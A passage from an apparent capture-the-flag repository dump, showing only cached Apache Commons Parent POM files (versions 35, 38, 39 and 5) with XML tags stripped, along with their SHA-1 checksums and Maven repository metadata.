maven-changes-plugin ${commons.changes.version} ${basedir}/src/changes/changes.xml Fix Version,Key,Component,Summary,Type,Resolution,Status Fix Version DESC,Type,Key DESC Fixed Resolved,Closed Bug,New Feature,Task,Improvement,Wish,Test true changes-report jira-report org.apache.maven.plugins maven-javadoc-plugin ${commons.javadoc.version} true ${maven.compiler.source} ${commons.encoding} ${commons.docEncoding} true true true ${commons.javadoc.java.link} ${commons.javadoc.javaee.link} default javadoc org.apache.maven.plugins maven-jxr-plugin ${commons.jxr.version} org.apache.maven.plugins maven-project-info-reports-plugin ${commons.project-info.version} index summary modules project-team scm issue-tracking mailing-list dependency-info dependency-management dependencies dependency-convergence cim distribution-management org.apache.maven.plugins maven-site-plugin ${commons.site-plugin.version} navigation.xml,changes.xml org.apache.maven.plugins maven-surefire-report-plugin ${commons.surefire.version} ${commons.surefire-report.aggregate} org.apache.rat apache-rat-plugin ${commons.rat.version} site-content/** .pmd src/site/resources/download_*.cgi src/site/resources/profile.* org.codehaus.mojo clirr-maven-plugin ${commons.clirr.version} ${minSeverity} org.codehaus.mojo jdepend-maven-plugin ${commons.jdepend.version} jacoco src/site/resources/profile.jacoco org.jacoco jacoco-maven-plugin ${commons.jacoco.version} prepare-agent process-test-classes prepare-agent report site report check check BUNDLE CLASS COVEREDRATIO ${commons.jacoco.classRatio} INSTRUCTION COVEREDRATIO ${commons.jacoco.instructionRatio} METHOD COVEREDRATIO ${commons.jacoco.methodRatio} BRANCH COVEREDRATIO ${commons.jacoco.branchRatio} LINE COVEREDRATIO ${commons.jacoco.lineRatio} COMPLEXITY COVEREDRATIO ${commons.jacoco.complexityRatio} ${commons.jacoco.haltOnFailure} org.jacoco jacoco-maven-plugin ${commons.jacoco.version} cobertura src/site/resources/profile.cobertura org.codehaus.mojo cobertura-maven-plugin ${commons.cobertura.version} release maven-gpg-plugin ${gpg.passphrase} sign-artifacts verify sign maven-install-plugin true maven-source-plugin create-source-jar jar test-jar maven-jar-plugin test-jar true maven-release-plugin -Prelease maven-javadoc-plugin create-javadoc-jar javadoc jar package ${maven.compiler.source} maven-assembly-plugin true single package apache-release maven-release-plugin apache-release org.apache.maven.plugins maven-source-plugin attach-test-sources test-jar maven-install-plugin true org.apache.maven.plugins maven-jar-plugin test-jar java-1.3 true 1.3 ${JAVA_1_3_HOME}/bin/javac ${JAVA_1_3_HOME}/bin/java java-1.4 true 1.4 ${JAVA_1_4_HOME}/bin/javac ${JAVA_1_4_HOME}/bin/java java-1.5 true 1.5 ${JAVA_1_5_HOME}/bin/javac ${JAVA_1_5_HOME}/bin/java java-1.6 true 1.6 ${JAVA_1_6_HOME}/bin/javac ${JAVA_1_6_HOME}/bin/java java-1.7 true 1.7 ${JAVA_1_7_HOME}/bin/javac ${JAVA_1_7_HOME}/bin/java java-1.8 true 1.8 ${JAVA_1_8_HOME}/bin/javac ${JAVA_1_8_HOME}/bin/java java-1.9 true 1.9 ${JAVA_1_9_HOME}/bin/javac ${JAVA_1_9_HOME}/bin/java test-deploy id::default::file:target/deploy trunks-proper ../bcel ../beanutils ../betwixt ../chain ../cli ../codec ../collections ../compress ../configuration ../daemon ../dbcp ../dbutils ../digester ../discovery ../el ../email ../exec ../fileupload ../functor ../imaging ../io ../jci ../jcs ../jexl ../jxpath ../lang ../launcher ../logging ../math ../modeler ../net ../ognl ../pool ../primitives ../proxy ../scxml ../validator ../vfs maven-3 ${basedir} maven-site-plugin org.apache.maven.wagon wagon-ssh ${commons.wagon-ssh.version} attach-descriptor attach-descriptor release-notes org.apache.maven.plugins maven-changes-plugin ${commons.changes.version} src/changes true . RELEASE-NOTES.txt ${commons.release.version} create-release-notes generate-resources announcement-generate svn-buildnumber !buildNumber.skip!true org.codehaus.mojo buildnumber-maven-plugin generate-resources create true ?????? false false javasvn org.codehaus.mojo buildnumber-maven-plugin javasvn jdk7-findbugs [1.7,) 3.0.0 ${project.version} RC1 COMMONSSITE 1.3 1.3 false 2.17 2.17 2.10.1 0.11 2.11 2.6.1 2.4 2.7 2.6 3.4 0.7.2.201409121644 2.6 2.0 3.2 1.1 2.5.5 ${project.artifactId}-${commons.release.version} -bin ${project.artifactId}-${commons.release.2.version} -bin ${project.artifactId}-${commons.release.3.version} -bin 1.00 0.90 0.95 0.85 0.85 0.90 false ${project.artifactId} org.apache.commons.${commons.componentid} org.apache.commons.*;version=${project.version};-noimport:=true * ${project.build.directory}/osgi/MANIFEST.MF scp iso-8859-1 ${commons.encoding} ${commons.encoding} ${commons.encoding} http://docs.oracle.com/javase/7/docs/api/ http://docs.oracle.com/javaee/6/api/ yyyy-MM-dd HH:mm:ssZ ${scmBranch}@r${buildNumber}; ${maven.build.timestamp} info false ${user.home}/commons-sites ${project.artifactId} https://svn.apache.org/repos/infra/websites/production/commons/content/proper/${project.artifactId} ${commons.site.cache}/${commons.site.path} commons.site https://analysis.apache.org/ ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/35/commons-parent-35.pom.sha1 ================================================ d88c24ebb385e5404f34573f24362b17434e3f33 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/38/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:55:32 CST 2018 commons-parent-38.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/38/commons-parent-38.pom ================================================ 4.0.0 org.apache apache 16 org.apache.commons commons-parent pom 38 Apache Commons Parent http://commons.apache.org/ The Apache Commons Parent POM provides common settings for all Apache Commons components. 3.0.1 continuum https://continuum-ci.apache.org/ scm:svn:http://svn.apache.org/repos/asf/commons/proper/commons-parent/tags/commons-parent-38 scm:svn:https://svn.apache.org/repos/asf/commons/proper/commons-parent/tags/commons-parent-38 http://svn.apache.org/viewvc/commons/proper/commons-parent/tags/commons-parent-38 Commons User List user-subscribe@commons.apache.org user-unsubscribe@commons.apache.org user@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-user/ http://markmail.org/list/org.apache.commons.users/ http://old.nabble.com/Commons---User-f319.html http://www.mail-archive.com/user@commons.apache.org/ http://news.gmane.org/gmane.comp.jakarta.commons.user Commons Dev List dev-subscribe@commons.apache.org dev-unsubscribe@commons.apache.org dev@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-dev/ http://markmail.org/list/org.apache.commons.dev/ http://old.nabble.com/Commons---Dev-f317.html http://www.mail-archive.com/dev@commons.apache.org/ http://news.gmane.org/gmane.comp.jakarta.commons.devel Commons Issues List issues-subscribe@commons.apache.org issues-unsubscribe@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-issues/ http://markmail.org/list/org.apache.commons.issues/ http://old.nabble.com/Commons---Issues-f25499.html http://www.mail-archive.com/issues@commons.apache.org/ Commons Commits List commits-subscribe@commons.apache.org commits-unsubscribe@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-commits/ http://markmail.org/list/org.apache.commons.commits/ http://www.mail-archive.com/commits@commons.apache.org/ Apache Announce List announce-subscribe@apache.org announce-unsubscribe@apache.org http://mail-archives.apache.org/mod_mbox/www-announce/ http://markmail.org/list/org.apache.announce/ http://old.nabble.com/Apache-News-and-Announce-f109.html http://www.mail-archive.com/announce@apache.org/ http://news.gmane.org/gmane.comp.apache.announce src/main/resources ${basedir} META-INF NOTICE.txt LICENSE.txt src/test/resources ${basedir} META-INF NOTICE.txt LICENSE.txt org.apache.maven.plugins maven-antrun-plugin 1.8 org.apache.maven.plugins maven-assembly-plugin 2.5.5 org.apache.maven.plugins maven-clean-plugin 2.6.1 org.apache.maven.plugins maven-compiler-plugin ${commons.compiler.version} ${maven.compiler.source} ${maven.compiler.target} ${commons.encoding} ${commons.compiler.fork} ${commons.compiler.compilerVersion} ${commons.compiler.javac} org.apache.maven.plugins maven-deploy-plugin 2.8.2 org.apache.maven.plugins maven-gpg-plugin 1.6 org.apache.maven.plugins maven-install-plugin 2.5.2 org.apache.maven.plugins maven-jar-plugin 2.5 org.apache.maven.plugins maven-javadoc-plugin ${commons.javadoc.version} true ${commons.encoding} ${commons.docEncoding} true ${commons.javadoc.java.link} ${commons.javadoc.javaee.link} true true org.apache.maven.plugins maven-release-plugin 2.5.1 org.apache.maven.plugins maven-remote-resources-plugin 1.5 true org.apache.maven.plugins maven-resources-plugin 2.7 org.apache.maven.plugins maven-site-plugin ${commons.site-plugin.version} true org.apache.maven.wagon wagon-ssh ${commons.wagon-ssh.version} attach-descriptor attach-descriptor org.apache.maven.plugins maven-source-plugin 2.4 true true org.apache.maven.plugins maven-surefire-plugin ${commons.surefire.version} org.apache.commons commons-build-plugin 1.4 ${commons.release.name} org.apache.felix maven-bundle-plugin 2.5.3 true org.apache.rat apache-rat-plugin ${commons.rat.version} org.codehaus.mojo build-helper-maven-plugin 1.8 org.codehaus.mojo buildnumber-maven-plugin 1.3 org.codehaus.mojo clirr-maven-plugin ${commons.clirr.version} ${minSeverity} maven-assembly-plugin src/main/assembly/src.xml gnu org.apache.maven.plugins maven-antrun-plugin javadoc.resources generate-sources run org.apache.maven.plugins maven-compiler-plugin true org.apache.maven.plugins maven-enforcer-plugin 1.3.1 enforce-maven-3 enforce 3.0.0 true org.apache.maven.plugins maven-jar-plugin ${commons.manifestfile} ${project.name} ${project.version} ${project.organization.name} ${project.name} ${project.version} ${project.organization.name} org.apache ${implementation.build} ${maven.compiler.source} ${maven.compiler.target} org.apache.maven.plugins maven-surefire-plugin ${commons.surefire.java} org.apache.commons commons-build-plugin org.apache.felix maven-bundle-plugin true ${commons.osgi.excludeDependencies} ${project.build.directory}/osgi <_nouses>true <_removeheaders>JAVA_1_3_HOME,JAVA_1_4_HOME,JAVA_1_5_HOME,JAVA_1_6_HOME,JAVA_1_7_HOME,JAVA_1_8_HOME,JAVA_1_9_HOME ${commons.osgi.symbolicName} ${commons.osgi.export} ${commons.osgi.private} ${commons.osgi.import} ${commons.osgi.dynamicImport} ${project.url} bundle-manifest process-classes manifest org.apache.rat apache-rat-plugin ${commons.rat.version} site-content/** .checkstyle .fbprefs .pmd src/site/resources/download_*.cgi src/site/resources/profile.* org.apache.maven.plugins maven-scm-publish-plugin ${commons.scm-publish.version} ${project.reporting.outputDirectory} scm:svn:${commons.scmPubUrl} ${commons.scmPubCheckoutDirectory} ${commons.scmPubServer} true scm-publish site-deploy publish-scm org.apache.maven.plugins maven-changes-plugin ${commons.changes.version} ${basedir}/src/changes/changes.xml Fix Version,Key,Component,Summary,Type,Resolution,Status Fix Version DESC,Type,Key DESC Fixed Resolved,Closed Bug,New Feature,Task,Improvement,Wish,Test true ${commons.changes.onlyCurrentVersion} ${commons.changes.maxEntries} ${commons.changes.runOnlyAtExecutionRoot} changes-report jira-report org.apache.maven.plugins maven-javadoc-plugin ${commons.javadoc.version} true ${maven.compiler.source} ${commons.encoding} ${commons.docEncoding} true true true ${commons.javadoc.java.link} ${commons.javadoc.javaee.link} default javadoc org.apache.maven.plugins maven-jxr-plugin ${commons.jxr.version} org.apache.maven.plugins maven-project-info-reports-plugin ${commons.project-info.version} index summary modules project-team scm issue-tracking mailing-list dependency-info dependency-management dependencies dependency-convergence cim distribution-management org.apache.maven.plugins maven-site-plugin ${commons.site-plugin.version} navigation.xml,changes.xml org.apache.maven.plugins maven-surefire-report-plugin ${commons.surefire-report.version} ${commons.surefire-report.aggregate} org.apache.rat apache-rat-plugin ${commons.rat.version} site-content/** .checkstyle .fbprefs .pmd src/site/resources/download_*.cgi src/site/resources/profile.* org.codehaus.mojo clirr-maven-plugin ${commons.clirr.version} ${minSeverity} org.codehaus.mojo jdepend-maven-plugin ${commons.jdepend.version} parse-target-version user.home org.codehaus.mojo build-helper-maven-plugin parse-version parse-version javaTarget ${maven.compiler.target} animal-sniffer src/site/resources/profile.noanimal java${javaTarget.majorVersion}${javaTarget.minorVersion} org.codehaus.mojo animal-sniffer-maven-plugin ${commons.animal-sniffer.version} checkAPIcompatibility check org.codehaus.mojo.signature ${animal-sniffer.signature} ${commons.animal-sniffer.signature.version} jacoco src/site/resources/profile.jacoco org.jacoco jacoco-maven-plugin ${commons.jacoco.version} prepare-agent process-test-classes prepare-agent report site report check check BUNDLE CLASS COVEREDRATIO ${commons.jacoco.classRatio} INSTRUCTION COVEREDRATIO ${commons.jacoco.instructionRatio} METHOD COVEREDRATIO ${commons.jacoco.methodRatio} BRANCH COVEREDRATIO ${commons.jacoco.branchRatio} LINE COVEREDRATIO ${commons.jacoco.lineRatio} COMPLEXITY COVEREDRATIO ${commons.jacoco.complexityRatio} ${commons.jacoco.haltOnFailure} org.jacoco jacoco-maven-plugin ${commons.jacoco.version} cobertura src/site/resources/profile.cobertura org.codehaus.mojo cobertura-maven-plugin ${commons.cobertura.version} release maven-gpg-plugin ${gpg.passphrase} sign-artifacts verify sign maven-install-plugin true maven-source-plugin create-source-jar jar test-jar maven-jar-plugin test-jar true maven-release-plugin -Prelease maven-javadoc-plugin create-javadoc-jar javadoc jar package ${maven.compiler.source} maven-assembly-plugin true single package apache-release maven-release-plugin apache-release org.apache.maven.plugins maven-source-plugin attach-test-sources test-jar maven-install-plugin true org.apache.maven.plugins maven-jar-plugin test-jar java-1.3 true 1.3 ${JAVA_1_3_HOME}/bin/javac ${JAVA_1_3_HOME}/bin/java java-1.4 true 1.4 ${JAVA_1_4_HOME}/bin/javac ${JAVA_1_4_HOME}/bin/java 2.11 java-1.5 true 1.5 ${JAVA_1_5_HOME}/bin/javac ${JAVA_1_5_HOME}/bin/java java-1.6 true 1.6 ${JAVA_1_6_HOME}/bin/javac ${JAVA_1_6_HOME}/bin/java java-1.7 true 1.7 ${JAVA_1_7_HOME}/bin/javac ${JAVA_1_7_HOME}/bin/java java-1.8 true 1.8 ${JAVA_1_8_HOME}/bin/javac ${JAVA_1_8_HOME}/bin/java java-1.9 true 1.9 ${JAVA_1_9_HOME}/bin/javac ${JAVA_1_9_HOME}/bin/java test-deploy id::default::file:target/deploy trunks-proper ../bcel ../beanutils ../betwixt ../chain ../cli ../codec ../collections ../compress ../configuration ../daemon ../dbcp ../dbutils ../digester ../discovery ../el ../email ../exec ../fileupload ../functor ../imaging ../io ../jci ../jcs ../jexl ../jxpath ../lang ../launcher ../logging ../math ../modeler ../net ../ognl ../pool ../primitives ../proxy ../scxml ../validator ../vfs release-notes org.apache.maven.plugins maven-changes-plugin ${commons.changes.version} src/changes true . RELEASE-NOTES.txt ${commons.release.version} create-release-notes generate-resources announcement-generate svn-buildnumber !buildNumber.skip !true org.codehaus.mojo buildnumber-maven-plugin generate-resources create true ?????? false false javasvn org.codehaus.mojo buildnumber-maven-plugin javasvn jdk7-plugin-fix-version [1.7,) 3.0.0 1.13 site-basic true true true true true true true true true true ${project.version} RC1 COMMONSSITE 1.3 1.3 false 2.18.1 2.18.1 2.10.2 0.11 2.11 2.6.1 2.5 2.8 2.8 3.4 0.7.4.201502262128 2.7 2.0 3.2 1.1 2.5.5 1.11 1.0 ${project.artifactId}-${commons.release.version} -bin ${project.artifactId}-${commons.release.2.version} -bin ${project.artifactId}-${commons.release.3.version} -bin 1.00 0.90 0.95 0.85 0.85 0.90 false ${project.artifactId} org.apache.commons.${commons.componentid} org.apache.commons.*;version=${project.version};-noimport:=true * true ${project.build.directory}/osgi/MANIFEST.MF scp iso-8859-1 ${commons.encoding} ${commons.encoding} ${commons.encoding} http://docs.oracle.com/javase/7/docs/api/ http://docs.oracle.com/javaee/6/api/ yyyy-MM-dd HH:mm:ssZ ${scmBranch}@r${buildNumber}; ${maven.build.timestamp} info false false 100 false ${user.home}/commons-sites ${project.artifactId} https://svn.apache.org/repos/infra/websites/production/commons/content/proper/${project.artifactId} ${commons.site.cache}/${commons.site.path} commons.site https://analysis.apache.org/ ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/38/commons-parent-38.pom.sha1 ================================================ b1fe2a39dc1f76d14fbc402982938ffb5ba1043a ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/39/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:55:44 CST 2018 commons-parent-39.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/39/commons-parent-39.pom ================================================ 4.0.0 org.apache apache 16 org.apache.commons commons-parent pom 39 Apache Commons Parent http://commons.apache.org/ The Apache Commons Parent POM provides common settings for all Apache Commons components. 3.0.1 continuum https://continuum-ci.apache.org/ scm:svn:http://svn.apache.org/repos/asf/commons/proper/commons-parent/tags/commons-parent-39 scm:svn:https://svn.apache.org/repos/asf/commons/proper/commons-parent/tags/commons-parent-39 http://svn.apache.org/viewvc/commons/proper/commons-parent/tags/commons-parent-39 Commons User List user-subscribe@commons.apache.org user-unsubscribe@commons.apache.org user@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-user/ http://markmail.org/list/org.apache.commons.users/ http://old.nabble.com/Commons---User-f319.html http://www.mail-archive.com/user@commons.apache.org/ http://news.gmane.org/gmane.comp.jakarta.commons.user Commons Dev List dev-subscribe@commons.apache.org dev-unsubscribe@commons.apache.org dev@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-dev/ http://markmail.org/list/org.apache.commons.dev/ http://old.nabble.com/Commons---Dev-f317.html http://www.mail-archive.com/dev@commons.apache.org/ http://news.gmane.org/gmane.comp.jakarta.commons.devel Commons Issues List issues-subscribe@commons.apache.org issues-unsubscribe@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-issues/ http://markmail.org/list/org.apache.commons.issues/ http://old.nabble.com/Commons---Issues-f25499.html http://www.mail-archive.com/issues@commons.apache.org/ Commons Commits List commits-subscribe@commons.apache.org commits-unsubscribe@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-commits/ http://markmail.org/list/org.apache.commons.commits/ http://www.mail-archive.com/commits@commons.apache.org/ Apache Announce List announce-subscribe@apache.org announce-unsubscribe@apache.org http://mail-archives.apache.org/mod_mbox/www-announce/ http://markmail.org/list/org.apache.announce/ http://old.nabble.com/Apache-News-and-Announce-f109.html http://www.mail-archive.com/announce@apache.org/ http://news.gmane.org/gmane.comp.apache.announce src/main/resources ${basedir} META-INF NOTICE.txt LICENSE.txt src/test/resources ${basedir} META-INF NOTICE.txt LICENSE.txt org.apache.maven.plugins maven-antrun-plugin 1.8 org.apache.maven.plugins maven-assembly-plugin 2.5.5 org.apache.maven.plugins maven-clean-plugin 2.6.1 org.apache.maven.plugins maven-compiler-plugin ${commons.compiler.version} ${maven.compiler.source} ${maven.compiler.target} ${commons.encoding} ${commons.compiler.fork} ${commons.compiler.compilerVersion} ${commons.compiler.javac} org.apache.maven.plugins maven-deploy-plugin 2.8.2 org.apache.maven.plugins maven-gpg-plugin 1.6 org.apache.maven.plugins maven-install-plugin 2.5.2 org.apache.maven.plugins maven-jar-plugin 2.6 org.apache.maven.plugins maven-javadoc-plugin ${commons.javadoc.version} true ${commons.encoding} ${commons.docEncoding} true ${commons.javadoc.java.link} ${commons.javadoc.javaee.link} true true org.apache.maven.plugins maven-release-plugin 2.5.2 org.apache.maven.plugins maven-remote-resources-plugin 1.5 true org.apache.maven.plugins maven-resources-plugin 2.7 org.apache.maven.plugins maven-site-plugin ${commons.site-plugin.version} true org.apache.maven.wagon wagon-ssh ${commons.wagon-ssh.version} attach-descriptor attach-descriptor org.apache.maven.plugins maven-source-plugin 2.4 true true org.apache.maven.plugins maven-surefire-plugin ${commons.surefire.version} org.apache.commons commons-build-plugin 1.4 ${commons.release.name} org.apache.felix maven-bundle-plugin 2.5.3 true org.apache.rat apache-rat-plugin ${commons.rat.version} org.codehaus.mojo build-helper-maven-plugin 1.9.1 org.codehaus.mojo buildnumber-maven-plugin 1.3 org.codehaus.mojo clirr-maven-plugin ${commons.clirr.version} ${minSeverity} maven-assembly-plugin src/assembly/src.xml gnu org.apache.maven.plugins maven-antrun-plugin javadoc.resources generate-sources run org.apache.maven.plugins maven-compiler-plugin true org.apache.maven.plugins maven-enforcer-plugin 1.3.1 enforce-maven-3 enforce 3.0.0 true org.apache.maven.plugins maven-jar-plugin ${commons.manifestfile} ${project.name} ${project.version} ${project.organization.name} ${project.name} ${project.version} ${project.organization.name} org.apache ${implementation.build} ${maven.compiler.source} ${maven.compiler.target} org.apache.maven.plugins maven-surefire-plugin ${commons.surefire.java} org.apache.commons commons-build-plugin org.apache.felix maven-bundle-plugin true ${commons.osgi.excludeDependencies} ${project.build.directory}/osgi <_nouses>true <_removeheaders>JAVA_1_3_HOME,JAVA_1_4_HOME,JAVA_1_5_HOME,JAVA_1_6_HOME,JAVA_1_7_HOME,JAVA_1_8_HOME,JAVA_1_9_HOME ${commons.osgi.symbolicName} ${commons.osgi.export} ${commons.osgi.private} ${commons.osgi.import} ${commons.osgi.dynamicImport} ${project.url} bundle-manifest process-classes manifest org.apache.rat apache-rat-plugin ${commons.rat.version} site-content/** .checkstyle .fbprefs .pmd src/site/resources/download_*.cgi src/site/resources/profile.* org.apache.maven.plugins maven-scm-publish-plugin ${commons.scm-publish.version} ${project.reporting.outputDirectory} scm:svn:${commons.scmPubUrl} ${commons.scmPubCheckoutDirectory} ${commons.scmPubServer} true scm-publish site-deploy publish-scm org.apache.maven.plugins maven-changes-plugin ${commons.changes.version} ${basedir}/src/changes/changes.xml Fix Version,Key,Component,Summary,Type,Resolution,Status Fix Version DESC,Type,Key DESC Fixed Resolved,Closed Bug,New Feature,Task,Improvement,Wish,Test true ${commons.changes.onlyCurrentVersion} ${commons.changes.maxEntries} ${commons.changes.runOnlyAtExecutionRoot} changes-report jira-report org.apache.maven.plugins maven-javadoc-plugin ${commons.javadoc.version} true ${maven.compiler.source} ${commons.encoding} ${commons.docEncoding} true true true ${commons.javadoc.java.link} ${commons.javadoc.javaee.link} default javadoc org.apache.maven.plugins maven-jxr-plugin ${commons.jxr.version} org.apache.maven.plugins maven-project-info-reports-plugin ${commons.project-info.version} index summary modules project-team scm issue-tracking mailing-list dependency-info dependency-management dependencies dependency-convergence cim distribution-management org.apache.maven.plugins maven-site-plugin ${commons.site-plugin.version} navigation.xml,changes.xml org.apache.maven.plugins maven-surefire-report-plugin ${commons.surefire-report.version} ${commons.surefire-report.aggregate} org.apache.rat apache-rat-plugin ${commons.rat.version} site-content/** .checkstyle .fbprefs .pmd src/site/resources/download_*.cgi src/site/resources/profile.* org.codehaus.mojo clirr-maven-plugin ${commons.clirr.version} ${minSeverity} org.codehaus.mojo jdepend-maven-plugin ${commons.jdepend.version} parse-target-version user.home org.codehaus.mojo build-helper-maven-plugin parse-version parse-version javaTarget ${maven.compiler.target} animal-sniffer src/site/resources/profile.noanimal java${javaTarget.majorVersion}${javaTarget.minorVersion} org.codehaus.mojo animal-sniffer-maven-plugin ${commons.animal-sniffer.version} checkAPIcompatibility check org.codehaus.mojo.signature ${animal-sniffer.signature} ${commons.animal-sniffer.signature.version} jacoco src/site/resources/profile.jacoco org.jacoco jacoco-maven-plugin ${commons.jacoco.version} prepare-agent process-test-classes prepare-agent report site report check check BUNDLE CLASS COVEREDRATIO ${commons.jacoco.classRatio} INSTRUCTION COVEREDRATIO ${commons.jacoco.instructionRatio} METHOD COVEREDRATIO ${commons.jacoco.methodRatio} BRANCH COVEREDRATIO ${commons.jacoco.branchRatio} LINE COVEREDRATIO ${commons.jacoco.lineRatio} COMPLEXITY COVEREDRATIO ${commons.jacoco.complexityRatio} ${commons.jacoco.haltOnFailure} org.jacoco jacoco-maven-plugin ${commons.jacoco.version} cobertura src/site/resources/profile.cobertura org.codehaus.mojo cobertura-maven-plugin ${commons.cobertura.version} release maven-gpg-plugin ${gpg.passphrase} sign-artifacts verify sign maven-install-plugin true maven-source-plugin create-source-jar jar test-jar maven-jar-plugin test-jar true maven-release-plugin -Prelease maven-javadoc-plugin create-javadoc-jar javadoc jar package ${maven.compiler.source} maven-assembly-plugin true single package apache-release maven-release-plugin apache-release org.apache.maven.plugins maven-source-plugin attach-test-sources test-jar maven-install-plugin true org.apache.maven.plugins maven-jar-plugin test-jar java-1.3 true 1.3 ${JAVA_1_3_HOME}/bin/javac ${JAVA_1_3_HOME}/bin/java java-1.4 true 1.4 ${JAVA_1_4_HOME}/bin/javac ${JAVA_1_4_HOME}/bin/java 2.11 java-1.5 true 1.5 ${JAVA_1_5_HOME}/bin/javac ${JAVA_1_5_HOME}/bin/java java-1.6 true 1.6 ${JAVA_1_6_HOME}/bin/javac ${JAVA_1_6_HOME}/bin/java java-1.7 true 1.7 ${JAVA_1_7_HOME}/bin/javac ${JAVA_1_7_HOME}/bin/java java-1.8 true 1.8 ${JAVA_1_8_HOME}/bin/javac ${JAVA_1_8_HOME}/bin/java java-1.9 true 1.9 ${JAVA_1_9_HOME}/bin/javac ${JAVA_1_9_HOME}/bin/java test-deploy id::default::file:target/deploy release-notes org.apache.maven.plugins maven-changes-plugin ${commons.changes.version} src/changes true . RELEASE-NOTES.txt ${commons.release.version} create-release-notes generate-resources announcement-generate svn-buildnumber !buildNumber.skip !true org.codehaus.mojo buildnumber-maven-plugin generate-resources create true ?????? false false javasvn org.codehaus.mojo buildnumber-maven-plugin javasvn jdk7-plugin-fix-version [1.7,) 3.0.0 1.14 site-basic true true true true true true true true true true ${project.version} RC1 COMMONSSITE 1.3 1.3 false 2.18.1 2.18.1 2.10.3 0.11 2.11 2.6.1 2.5 2.8 2.8 3.4 0.7.5.201505241946 2.7 2.0 3.3 1.1 2.5.5 1.11 1.0 ${project.artifactId}-${commons.release.version} -bin ${project.artifactId}-${commons.release.2.version} -bin ${project.artifactId}-${commons.release.3.version} -bin 1.00 0.90 0.95 0.85 0.85 0.90 false ${project.artifactId} org.apache.commons.${commons.componentid} org.apache.commons.*;version=${project.version};-noimport:=true * true ${project.build.directory}/osgi/MANIFEST.MF scp iso-8859-1 ${commons.encoding} ${commons.encoding} ${commons.encoding} http://docs.oracle.com/javase/7/docs/api/ http://docs.oracle.com/javaee/6/api/ yyyy-MM-dd HH:mm:ssZ ${scmBranch}@r${buildNumber}; ${maven.build.timestamp} info 100 false false 100 false ${user.home}/commons-sites ${project.artifactId} https://svn.apache.org/repos/infra/websites/production/commons/content/proper/${project.artifactId} ${commons.site.cache}/${commons.site.path} commons.site https://analysis.apache.org/ ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/39/commons-parent-39.pom.sha1 ================================================ 4bc32d3cda9f07814c548492af7bf19b21798d46 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/5/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:00:53 CST 2018 commons-parent-5.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/5/commons-parent-5.pom ================================================ 4.0.0 org.apache apache 4 org.apache.commons commons-parent pom 5 Commons Parent http://commons.apache.org/ 2001 continuum http://vmbuild.apache.org/continuum/ mail
      dev@commons.apache.org
      dummy Dummy to avoid accidental deploys scm:svn:http://svn.apache.org/repos/asf/commons/proper/commons-parent/tags/commons-parent-5 scm:svn:https://svn.apache.org/repos/asf/commons/proper/commons-parent/tags/commons-parent-5 http://svn.apache.org/viewvc/commons/proper/commons-parent/tags/commons-parent-5 Commons Commits List commits-subscribe@commons.apache.org commits-unsubscribe@commons.apache.org commits@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-commits/ http://www.mail-archive.com/commits@commons.apache.org/ Commons Dev List dev-subscribe@commons.apache.org dev-unsubscribe@commons.apache.org dev@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-dev/ http://www.mail-archive.com/dev@commons.apache.org/ http://www.nabble.com/Commons---Dev-f317.html Commons Issues List issues-subscribe@commons.apache.org issues-unsubscribe@commons.apache.org issues@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-issues/ http://www.mail-archive.com/issues@commons.apache.org/ http://www.nabble.com/Commons---Issues-f25499.html Commons User List user-subscribe@commons.apache.org user-unsubscribe@commons.apache.org user@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-user/ http://www.mail-archive.com/user@commons.apache.org/ http://www.nabble.com/Commons---User-f319.html org.apache.maven.plugins maven-gpg-plugin 1.0-alpha-3 org.apache.maven.plugins maven-jar-plugin 2.1 org.apache.maven.plugins maven-remote-resources-plugin 1.0-alpha-6 org.apache.maven.plugins maven-source-plugin 2.0.4 org.apache.maven.plugins maven-surefire-plugin 2.3 org.apache.maven.plugins maven-assembly-plugin 2.2-beta-1 maven-compiler-plugin ${maven.compile.source} ${maven.compile.target} maven-jar-plugin ${project.name} ${project.version} ${project.organization.name} ${project.name} ${project.version} ${project.organization.name} org.apache ${maven.compile.source} ${maven.compile.source} maven-idea-plugin ${maven.compile.source} org.apache.maven.plugins maven-javadoc-plugin 2.2 true org.apache.maven.plugins maven-jxr-plugin 2.1 true org.apache.maven.plugins maven-site-plugin navigation.xml,changes.xml org.apache.maven.plugins maven-surefire-report-plugin 2.3 org.codehaus.mojo jdepend-maven-plugin 2.0-beta-1 org.codehaus.mojo rat-maven-plugin 1.0-alpha-3 ci apache.snapshots Apache Development Snapshot Repository ${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository apache.snapshots Apache Development Snapshot Repository ${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository release apache.releases Apache Release Distribution Repository ${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-ibiblio-rsync-repository maven-gpg-plugin ${gpg.passphrase} sign-artifacts verify sign maven-source-plugin create-source-jar jar maven-javadoc-plugin create-javadoc-jar jar 